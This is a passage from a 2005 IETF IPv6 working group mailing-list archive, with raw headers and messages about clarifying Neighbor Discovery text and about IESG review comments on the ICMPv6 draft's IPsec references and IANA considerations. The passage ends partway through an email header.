[mailto:greg.daley@eng.monash.edu.au] > Sent: Tuesday, February 22, 2005 6:27 PM > To: JINMEI Tatuya / ???? > Cc: Christian Vogt; Soliman, Hesham; Mark Doll; Roland Bless; > ipv6@ietf.org > Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO > > > Hi Jinmei and Christian, > > It has been a bit confusing with crossing e-mails and > timezone differences. > > I think that there's agreement for clarification. > > I think that people agree what needs to be clarified. > > I'm not sure if it's decided where to put the clarification > (but I don't care myself, so long as everyone else agrees) > > I'm not sure if there is a text which is agreed. > (I've heard more harmonious responses in later text, but > there were two or three fairly related pieces of text going roun= d). > > > Can we confirm whether there's agreement on the location > of clarifying statements? > > Can we also agree or confirm (possibly conditionally on the > previous question) whether there's an agreement on text? > > I'm not worried at the moment, since things seem to be > going the right way. > > Greg > > JINMEI Tatuya / =E7=A5=9E=E6=98=8E=E9=81=94=E5=93=89 wrote: > >>>>>>On Tue, 22 Feb 2005 16:26:26 +1100, > >>>>>>Greg Daley said: > > > > > >>So if this is the case, we need to describe messages which > request a > >>response or change configuration state without having LLAOs. > > > > > >>How about a paragraph (maybe somewhere else) saying: > > > > > >>"... It is possible that a host may receive a solicitation > or a router > > > > (snip) > > > >>..." > > > > > >>I'm not sure about whether this is better or not perhaps > this could go > >>into 7.2.X, in an effort to tie the exercise to address resoluti= on, > >>rather than reception of a particular message (considering that = the > >>document is basically broken into 3 sections: RD, ND, Redirect). > > > > > > I think this type of general clarification makes sense. > > > > JINMEI, Tatuya > > Communication Platform Lab. > > Corporate R&D Center, > Toshiba Corp. > > jinmei@isl.rdc.toshiba.co.jp > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D This email may contain confidential and privileged material for the s= ole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient please contact th= e sender and delete all copies. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 24 23:42:14 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA04503 for ; Thu, 24 Feb 2005 23:42:14 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4XIz-0006BF-0J for ipv6-web-archive@ietf.org; Thu, 24 Feb 2005 23:42:21 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4XHW-0005bQ-Ji; Thu, 24 Feb 2005 23:40:50 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4XHO-0005EW-IP for ipv6@megatron.ietf.org; Thu, 24 Feb 2005 23:40:42 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA04272 for ; Thu, 24 Feb 2005 23:40:39 -0500 (EST) From: Mukesh.K.Gupta@nokia.com Received: from mgw-x1.nokia.com ([131.228.20.21]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4XHR-00067w-4Q for ipv6@ietf.org; Thu, 24 Feb 2005 23:40:46 -0500 Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121]) by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j1P4cpZ12915; Fri, 25 Feb 2005 06:38:51 +0200 (EET) X-Scanned: Fri, 25 Feb 2005 06:38:46 +0200 Nokia Message Protector V1.3.34 2004121512 - RELEASE Received: (from root@localhost) by esdks002.ntc.nokia.com (8.12.9/8.12.9) id j1P4ck8F025088; Fri, 25 Feb 2005 06:38:46 +0200 Received: from mgw-int2.ntc.nokia.com (172.21.143.97) by esdks002.ntc.nokia.com 00OJKH3D; Fri, 25 Feb 2005 06:38:46 EET Received: from daebh001.NOE.Nokia.com (daebh001.americas.nokia.com [10.241.35.121]) by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j1P4cjU05537; Fri, 25 Feb 2005 06:38:45 +0200 (EET) Received: from daebe009.NOE.Nokia.com ([10.241.35.109]) by daebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881); Thu, 24 Feb 2005 22:38:45 -0600 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Thu, 24 Feb 2005 22:38:44 -0600 Message-ID: <8D260779A766FB4A9C1739A476F84FA401F79BC8@daebe009.americas.nokia.com> Thread-Topic: IESG Comments about ICMPv6 draft: Authentication and Confidentiality of ICMP messages Thread-Index: AcUa8+F8ObCn6WTySxGoZ9YdLeD6rQ== To: X-OriginalArrivalTime: 25 Feb 2005 04:38:45.0056 (UTC) FILETIME=[E3C3C400:01C51AF3] X-Spam-Score: 0.3 (/) X-Scan-Signature: 97adf591118a232206bdb5a27b217034 Content-Transfer-Encoding: quoted-printable Cc: mankin@psg.com Subject: IESG Comments about ICMPv6 draft: Authentication and Confidentiality of ICMP messages X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.3 (/) X-Scan-Signature: 7baded97d9887f7a0c7e8a33c2e3ea1b Content-Transfer-Encoding: quoted-printable Hi All, Allison had the following comment to the ICMPv6 draft as part of the IESG review: > 1. IPSec processing considerations about ICMP are enough=20 > different in the bis ESP and AH specs that I think this=20 > document should update to require these (just approved). I looked at ESP and AH old and bis RFCs. The section on how to handle ICMP packets is not part of those RFCs. The section "ICMP Processing" was actually part of 2401 and now 2401bis. So I guess, we need to modify the text in ICMP RFC and add 2401bis to the reference list. I have the following questions/concerns: - Should 2401bis be a normative reference or informative? If normative, can we wait till 2401bis is approved? - ICMP RFC has a "MAY" requirement for configuring a node to ignore unauthenticated ICMP packets but 2401bis has a "MUST" requirement for the same thing. Are we not in conflict ? - ICMP RFC (section 5.1) briefly describes how the ICMP packets should be processed in conjunction with ESP/AH headers. 2401bis has a section "ICMP processing" (6.1) that describes the same thing in great detail. Should ICMP RFC just say that the processing rules are given in 2401bis ? Regards Mukesh -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 25 10:18:24 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA26206 for ; Fri, 25 Feb 2005 10:18:23 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4hEh-0003Ga-I7 for ipv6-web-archive@ietf.org; Fri, 25 Feb 2005 10:18:35 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4hCC-0000fw-Lt; Fri, 25 Feb 2005 10:16:00 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4hC8-0000cQ-TG; Fri, 25 Feb 2005 10:15:56 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA25949; Fri, 25 Feb 2005 10:15:53 -0500 (EST) Received: from [132.151.6.50] (helo=newodin.ietf.org) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4hCH-0003EM-1r; Fri, 25 Feb 2005 10:16:05 -0500 Received: from apache by newodin.ietf.org with local (Exim 4.43) id 1D4hC6-0007Rd-PO; Fri, 25 Feb 2005 10:15:54 -0500 X-test-idtracker: no To: IETF-Announce From: The IESG Message-Id: Date: Fri, 25 Feb 2005 10:15:54 -0500 X-Spam-Score: 0.0 (/) X-Scan-Signature: 7a6398bf8aaeabc7a7bb696b6b0a2aad Cc: ipv6@ietf.org Subject: Last Call: 'IPv6 Host to Router Load Sharing' to Proposed Standard X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: iesg@ietf.org List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: d6b246023072368de71562c0ab503126 The IESG has received a request from the IP Version 6 Working Group WG to consider the following document: - 'IPv6 Host to Router Load Sharing ' as a Proposed Standard The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by 2005-03-18. The file can be obtained via http://www.ietf.org/internet-drafts/draft-ietf-ipv6-host-load-sharing-03.txt -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 25 10:51:23 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA02037 for ; Fri, 25 Feb 2005 10:51:22 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4hkc-0004hw-Sq for ipv6-web-archive@ietf.org; Fri, 25 Feb 2005 10:51:35 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4hiH-0006Cm-FN; Fri, 25 Feb 2005 10:49:09 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4hiF-0006CL-Vk for ipv6@megatron.ietf.org; Fri, 25 Feb 2005 10:49:08 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA01765 for ; Fri, 25 Feb 2005 10:49:05 -0500 (EST) Received: from netcore.fi ([193.94.160.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4hiN-0004dW-Uo for ipv6@ietf.org; Fri, 25 Feb 2005 10:49:17 -0500 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id j1PFmkZ01706; Fri, 25 Feb 2005 17:48:46 +0200 Date: Fri, 25 Feb 2005 17:48:46 +0200 (EET) From: Pekka Savola To: Mukesh.K.Gupta@nokia.com In-Reply-To: <8D260779A766FB4A9C1739A476F84FA401F79BC8@daebe009.americas.nokia.com> Message-ID: References: <8D260779A766FB4A9C1739A476F84FA401F79BC8@daebe009.americas.nokia.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: 41c17b4b16d1eedaa8395c26e9a251c4 Cc: ipv6@ietf.org, mankin@psg.com Subject: Re: IESG Comments about ICMPv6 draft: Authentication and Confidentiality of ICMP messages X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: d8ae4fd88fcaf47c1a71c804d04f413d On Thu, 24 Feb 2005 Mukesh.K.Gupta@nokia.com wrote: > I looked at ESP and AH old and bis RFCs. The section on > how to handle ICMP packets is not part of those RFCs. The > section "ICMP Processing" was actually part of 2401 and > now 2401bis. So I guess, we need to modify the text in > ICMP RFC and add 2401bis to the reference list. > > I have the following questions/concerns: > > - Should 2401bis be a normative reference or informative? > If normative, can we wait till 2401bis is approved? Actually, 2401bis has not been approved yet; it is past the first round of IESG evaluation, but there are still substantial IESG issues to iron out. It'll take a while. But even beyond that, 2401bis would be first going to Proposed Standard (and maybe recycle to DS later). This is for DS. This kind of normative reference ("downref") is not procedurally acceptable. See more below. > - ICMP RFC has a "MAY" requirement for configuring a node > to ignore unauthenticated ICMP packets but 2401bis has > a "MUST" requirement for the same thing. Are we not in > conflict ? Did you mean that the new ICMP RFC requires a configuration knob to be able to configure this behaviour (this is how I read 2401bis)? I don't see a problem there. In any case, it's a requirement for _IPsec_ implementors. > - ICMP RFC (section 5.1) briefly describes how the ICMP > packets should be processed in conjunction with ESP/AH > headers. 2401bis has a section "ICMP processing" (6.1) > that describes the same thing in great detail. Should > ICMP RFC just say that the processing rules are given > in 2401bis ? This would seem like a good idea -- the key point is figuring out whether we can do this would having to put in a Normative Reference to IPsec documents :-(. This may sound weasel-wording, but IMHO it isn't. While it's useful for the ICMP spec to discuss how to mitigate attacks on non-IPsec ICMP by the use of IPsec, implementation details of IPsec are in no way normative to the ICMP implementer, because the ICMP implementer does not even need to implement IPsec if (s)he doesn't want to. Therefore my logic says that an Informative reference should be fine. .. By the way, one additional ICMP attack that could possibly be included in 5.2: 6. As the ICMP messages are passed to the upper-layer processes, it is possible to perform attacks on the upper layer protocols (e.g., TCP) with ICMP [TCP-attack]. Protecting the upper layer with IPsec mitigates this problem, though the upper layers may also perform some form of validation of ICMPs on their own. Where [TCP-attack] is an informative reference to draft-gont-tcpm-icmp-attacks-03.txt. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 27 00:03:58 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27815 for ; Sun, 27 Feb 2005 00:03:58 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5GbW-00011p-GI for ipv6-web-archive@ietf.org; Sun, 27 Feb 2005 00:04:30 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5GY9-0004nG-NQ; Sun, 27 Feb 2005 00:01:01 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5GY7-0004jy-Nb for ipv6@megatron.ietf.org; Sun, 27 Feb 2005 00:00:59 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27627 for ; Sun, 27 Feb 2005 00:00:54 -0500 (EST) Received: from cyteen.hactrn.net ([66.92.66.68]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5GYW-0000xX-GP for ipv6@ietf.org; Sun, 27 Feb 2005 00:01:27 -0500 Received: from hactrn.net (localhost [127.0.0.1]) by cyteen.hactrn.net (Postfix) with ESMTP id A9288761 for ; Sun, 27 Feb 2005 00:00:29 -0500 (EST) To: ipv6@ietf.org From: Rob Austein Date: Sun, 27 Feb 2005 00:00:29 -0500 Message-Id: <20050227050029.A9288761@cyteen.hactrn.net> X-Spam-Score: 0.0 (/) X-Scan-Signature: 2409bba43e9c8d580670fda8b695204a Subject: Weekly posting summary for ipv6@ietf.org X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: b19722fc8d3865b147c75ae2495625f2 Messages | Bytes | Who --------+------+--------+----------+------------------------ 17.02% | 8 | 22.39% | 84799 | h.soliman@flarion.com 17.02% | 8 | 14.86% | 56287 | jinmei@isl.rdc.toshiba.co.jp 12.77% | 6 | 14.15% | 53589 | chvogt@tm.uka.de 10.64% | 5 | 11.44% | 43316 | greg.daley@eng.monash.edu.au 2.13% | 1 | 8.92% | 33798 | margaret@thingmagic.com 6.38% | 3 | 4.56% | 17254 | internet-drafts@ietf.org 6.38% | 3 | 3.01% | 11410 | bob.hinden@nokia.com 4.26% | 2 | 3.98% | 15062 | brian@innovationslab.net 4.26% | 2 | 2.71% | 10254 | pekkas@netcore.fi 2.13% | 1 | 3.67% | 13885 | elwynd@dial.pipex.com 2.13% | 1 | 2.08% | 7884 | rkrishnan.s@samsung.com 2.13% | 1 | 1.99% | 7534 | elizabeth.rodriguez@dothill.com 2.13% | 1 | 1.29% | 4901 | mukesh.k.gupta@nokia.com 2.13% | 1 | 1.20% | 4541 | fenner@research.att.com 2.13% | 1 | 1.18% | 4460 | sra+ipng@hactrn.net 2.13% | 1 | 0.94% | 3559 | fltemplin@acm.org 2.13% | 1 | 0.84% | 3195 | zefram@fysh.org 2.13% | 1 | 0.80% | 3031 | iesg-secretary@ietf.org --------+------+--------+----------+------------------------ 100.00% | 47 |100.00% | 378759 | Total Grunchweather Associates provides this automatic summary on an at-whim basis at the request of the IPv6 WG chairs. Your mileage may vary. We decline responsibilities, all shapes, all sizes, all colors. If this script produces broken output, you get to keep both pieces. -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 27 04:20:27 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA07176 for ; Sun, 27 Feb 2005 04:20:26 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5Kbj-0005Tv-TA for ipv6-web-archive@ietf.org; Sun, 27 Feb 2005 04:21:00 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5KUq-0003ic-CX; Sun, 27 Feb 2005 04:13:52 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5KUn-0003iT-Ds for ipv6@megatron.ietf.org; Sun, 27 Feb 2005 04:13:49 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA06602 for ; Sun, 27 Feb 2005 04:13:47 -0500 (EST) From: Mukesh.K.Gupta@nokia.com Received: from mgw-x1.nokia.com ([131.228.20.21]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5KVH-0005LU-MZ for ipv6@ietf.org; Sun, 27 Feb 2005 04:14:21 -0500 Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120]) by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j1R9DgZ27827; Sun, 27 Feb 2005 11:13:43 +0200 (EET) X-Scanned: Sun, 27 Feb 2005 11:26:54 +0200 Nokia Message Protector V1.3.34 2004121512 - RELEASE Received: (from root@localhost) by esdks001.ntc.nokia.com (8.12.9/8.12.9) id j1R9Qs3l006456; Sun, 27 Feb 2005 11:26:54 +0200 Received: from mgw-int2.ntc.nokia.com (172.21.143.97) by esdks001.ntc.nokia.com 00MmlnJu; Sun, 27 Feb 2005 11:26:53 EET Received: from daebh002.NOE.Nokia.com (daebh002.americas.nokia.com [10.241.35.122]) by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j1R9DIU00291; Sun, 27 Feb 2005 11:13:18 +0200 (EET) Received: from daebe009.NOE.Nokia.com ([10.241.35.109]) by daebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881); Sun, 27 Feb 2005 03:13:18 -0600 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Sun, 27 Feb 2005 03:13:17 -0600 Message-ID: <8D260779A766FB4A9C1739A476F84FA401F79BCA@daebe009.americas.nokia.com> Thread-Topic: IESG Comments about ICMPv6 draft: Authentication and Confidentiality of ICMP messages Thread-Index: AcUbUd5s3ZLMqIpAQRyZpkbFngHwyQBVyTAw To: X-OriginalArrivalTime: 27 Feb 2005 09:13:18.0372 (UTC) FILETIME=[9373CE40:01C51CAC] X-Spam-Score: 0.3 (/) X-Scan-Signature: 92df29fa99cf13e554b84c8374345c17 Content-Transfer-Encoding: quoted-printable Cc: ipv6@ietf.org, mankin@psg.com Subject: RE: IESG Comments about ICMPv6 draft: Authentication and Confidentiality of ICMP messages X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.3 (/) X-Scan-Signature: 0fa76816851382eb71b0a882ccdc29ac Content-Transfer-Encoding: quoted-printable Pekka, Comments inline.. > Actually, 2401bis has not been approved yet; it is past the first=20 > round of IESG evaluation, but there are still substantial IESG issues=20 > to iron out. It'll take a while. >=20 > But even beyond that, 2401bis would be first going to Proposed=20 > Standard (and maybe recycle to DS later). This is for DS. This kind=20 > of normative reference ("downref") is not procedurally acceptable. Then what is the best way to accomodate Allison's comment :( > Did you mean that the new ICMP RFC requires a configuration=20 > knob to be able to configure this behaviour (this is how=20 > I read 2401bis)? Sorry for not being clear. The current ICMPv6 draft says=20 that an implementation "MAY" provide a knob to control this behavior (accept or reject the unauthenticated ICMPv6=20 msgs). On the other hand, 2401bis says that an implementation "MUST" provide a knob to control this behavior. > I don't see a problem there. In any case, it's a requirement=20 > for _IPsec_ implementors. If providing this knob is a requirement for ONLY IPsec=20 implementors, why are we mentioning it (as a MAY requirement) in the ICMPv6 draft ? > This would seem like a good idea -- the key point is figuring out=20 > whether we can do this would having to put in a Normative=20 > Reference to IPsec documents :-(. >=20 > This may sound weasel-wording, but IMHO it isn't. While it's useful=20 > for the ICMP spec to discuss how to mitigate attacks on=20 > non-IPsec ICMP=20 > by the use of IPsec, implementation details of IPsec are=20 > in no way normative to the ICMP implementer, because the=20 > ICMP implementer does not even need to implement IPsec=20 > if (s)he doesn't want to. Therefore=20 > my logic says that an Informative reference should be fine. Are you suggesting that the ICMPv6 draft should say that the=20 security related processing details are described in 2401bis and put 2401bis as a informative reference. or you are suggesting to keep the wording as it is in the current draft ? > By the way, one additional ICMP attack that could possibly be=20 > included=20 > in 5.2: >=20 > 6. As the ICMP messages are passed to the upper-layer=20 > processes, it > is possible to perform attacks on the upper layer protocols > (e.g., TCP) with ICMP [TCP-attack]. Protecting the upper layer > with IPsec mitigates this problem, though the upper layers may > also perform some form of validation of ICMPs on their own. >=20 > Where [TCP-attack] is an informative reference to=20 > draft-gont-tcpm-icmp-attacks-03.txt. Interesting. I will try to add this to the next rev. Regards Mukesh -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 27 04:41:35 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA08448 for ; Sun, 27 Feb 2005 04:41:35 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5KwD-0001r8-4j for ipv6-web-archive@ietf.org; Sun, 27 Feb 2005 04:42:09 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5Ku1-0004HY-GC; Sun, 27 Feb 2005 04:39:53 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5Ktz-0004HT-8U for ipv6@megatron.ietf.org; Sun, 27 Feb 2005 04:39:51 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA08398 for ; Sun, 27 Feb 2005 04:39:49 -0500 (EST) From: Mukesh.K.Gupta@nokia.com Received: from mgw-x2.nokia.com ([131.228.20.22]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5KuT-0001pc-Vw for ipv6@ietf.org; Sun, 27 Feb 2005 04:40:23 -0500 Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120]) by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j1R9djU23971; Sun, 27 Feb 2005 11:39:45 +0200 (EET) X-Scanned: Sun, 27 Feb 2005 11:52:38 +0200 Nokia Message Protector V1.3.34 2004121512 - RELEASE Received: (from root@localhost) by esdks001.ntc.nokia.com (8.12.9/8.12.9) id j1R9qcgs016331; Sun, 27 Feb 2005 11:52:38 +0200 Received: from mgw-int2.ntc.nokia.com (172.21.143.97) by esdks001.ntc.nokia.com 00kQ2rtq; Sun, 27 Feb 2005 11:52:36 EET Received: from daebh002.NOE.Nokia.com (daebh002.americas.nokia.com [10.241.35.122]) by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j1R9d1U13891; Sun, 27 Feb 2005 11:39:01 +0200 (EET) Received: from daebe009.NOE.Nokia.com ([10.241.35.109]) by daebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881); Sun, 27 Feb 2005 03:39:01 -0600 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Sun, 27 Feb 2005 03:39:00 -0600 Message-ID: <8D260779A766FB4A9C1739A476F84FA401F79BCB@daebe009.americas.nokia.com> Thread-Topic: IESG Comments about ICMPv6 draft: Authentication andConfidentiality of ICMP messages Thread-Index: AcUbUd5s3ZLMqIpAQRyZpkbFngHwyQBVyTAwAAFvFjA= To: X-OriginalArrivalTime: 27 Feb 2005 09:39:01.0339 (UTC) FILETIME=[2B21E2B0:01C51CB0] X-Spam-Score: 0.3 (/) X-Scan-Signature: e1e48a527f609d1be2bc8d8a70eb76cb Content-Transfer-Encoding: quoted-printable Cc: mankin@psg.com Subject: IESG Comments about ICMPv6 draft: Obsoleting 2780 X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.3 (/) X-Scan-Signature: c1c65599517f9ac32519d043c37c5336 Content-Transfer-Encoding: quoted-printable Allison, I am trying to address the following comment of yours for the ICMPv6 draft (draft-ietf-ipngwg-icmp-v3-06.txt). Please see my comments inline.. > The document includes a ref to RFC 2780 but never mentions it. > In the IANA considerations, it needs to state that it obsoletes=20 > 2780's IANA instructions on ICMPv6. Good catch. What about adding the following text in the IANA Consideration section in the next rev ? =3D=3D=3D=3D This specification obsoletes 2780's IANA instructions for ICMPv6. The IANA is requested to use the guidelines provided in this specfication for assigning ICMPv6 type and code values as soon as this specification is published as a RFC. =3D=3D=3D=3D > The RFC Editor needs to be told that this RFC updates 2780, Why do we need to tell this to RFC Editor ? and this draft does not update the 2780 as a whole. It just updates the part that talks about ICMP. > as well as obsoleting the previous ICMPv6 spec.=20 We already have "This document obsoletes RFC 2463 [RFC-2463]." line in the introduction of the current draft. Is it not enough ? > new IANA Considerations are great. We should make sure the=20 > loose ends are tied.=20 We have tried to tie them all :) If you see any loose ends, please let us know. Regards Mukesh -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 27 05:12:05 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA10555 for ; Sun, 27 Feb 2005 05:12:05 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org 